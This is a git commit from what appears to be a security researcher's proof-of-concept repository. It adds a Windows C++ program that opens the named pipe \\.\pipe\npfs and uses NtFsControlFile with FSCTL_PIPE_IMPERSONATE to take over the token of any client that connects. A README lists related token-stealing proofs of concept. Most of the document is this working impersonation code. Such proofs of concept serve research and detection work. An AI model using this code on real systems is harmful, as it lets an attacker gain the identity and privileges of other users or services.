Adding NtfsControlFile

This commit is contained in:
Jonathan Johnson
2023-04-27 07:54:51 -05:00
parent e924b4500f
commit 9cfa510a18
12 changed files with 360 additions and 1 deletions
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/* Author: Jonathan Johnson (@jsecurity101)
* Execute: NtfsControlFile.exe then connect to named pipe \\pipe\npfs
*/
#include <Windows.h>
#include <iostream>
#include <Lmcons.h>
#include <fstream>
#include <sddl.h>
#define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define BUFSIZE 2048
#define INSTANCES 4
typedef struct
{
OVERLAPPED oOverlap;
HANDLE hPipeInst;
TCHAR chRequest[BUFSIZE];
DWORD cbRead;
TCHAR chReply[BUFSIZE];
DWORD cbToWrite;
DWORD dwState;
BOOL fPendingIO;
} PIPEINST, * LPPIPEINST;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef enum _EVENT_TYPE {
NotificationEvent,
SynchronizationEvent
} EVENT_TYPE;
typedef VOID(*PIO_APC_ROUTINE)(
__in PVOID ApcContext,
__in PIO_STATUS_BLOCK IoStatusBlock,
__in ULONG Reserved
);
typedef NTSTATUS(*_NtFsControlFile)(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG FsControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
int main() {
HANDLE hPipe = NULL;
DWORD i, dwRead;
TCHAR chBuf[BUFSIZE];
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
if (!GetUserName(username, &username_len))
{
printf("GetUserName Failed (%d).\n", GetLastError());
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
return 1;
}
else
{
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
std::cout << "[*] Current username is: " << username_s << "\n";
}
printf("[*] Creating named pipe npfs...\n");
hPipe = CreateNamedPipe(L"\\\\.\\pipe\\npfs", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
printf("[-] CreateNamedPipe failed: (%d).\n", GetLastError());
return 1;
}
else
{
printf("[*] Named pipe created!\n");
printf("[*] Waiting for client to connect...\n");
if (!ConnectNamedPipe(hPipe, NULL)) {
printf("[-] ConnectNamedPipe failed: (%d).\n", GetLastError());
CloseHandle(hPipe);
return 1;
}
else {
printf("[*] Client connected to named pipe!\n");
if (!ReadFile(hPipe, chBuf, BUFSIZE * sizeof(TCHAR), &dwRead, NULL)) {
printf("[-] ReadFile failed: (%d).\n", GetLastError());
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
return 1;
}
else {
printf("[*] ReadFile completed!\n");
_NtFsControlFile NtFsControlFile = (_NtFsControlFile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtFsControlFile");
if (NtFsControlFile == NULL) {
printf("[-] NtFsControlFile not found!\n");
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
return 1;
}
else {
printf("[*] NtFsControlFile found!\n");
}
IO_STATUS_BLOCK ioStatusBlock;
NTSTATUS status = NtFsControlFile(hPipe, NULL, NULL, NULL, &ioStatusBlock, FSCTL_PIPE_IMPERSONATE, NULL, 0, NULL, 0);
if (status != 259) {
printf("[-] NtFsControlFile failed: (%d).\n", GetLastError());
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
return 1;
}
else {
WaitForSingleObject(hPipe, INFINITE);
printf("[*] NtFsControlFile completed!\n");
if (!GetUserName(username, &username_len))
{
printf("GetUserName Failed (%d).\n", GetLastError());
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
return 1;
}
else
{
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
printf("[*] Current username is: %s\n", username_s.c_str());
}
}
}
}
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
}
return 0;
}
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# RandomPOCs
Repo that holds random POCs
This repository holds POCs I have created for projects, blogs, etc.
## POCs:
| POC | Description |
| --- | ---- |
| ImpersonateLoggedOnUser | Steals token from a targetted process and sets token to current thread via ImpersonateLoggedOnUser |
| SetThreadToken | Steals token from a targetted process and sets token to current thread via SetThreadToken |
| NtfsControlFile | Performs named pipe impersonation by creating a named pipe - `\\.\pipe\npfs` and taking the clients token by calling NtfsControlFile|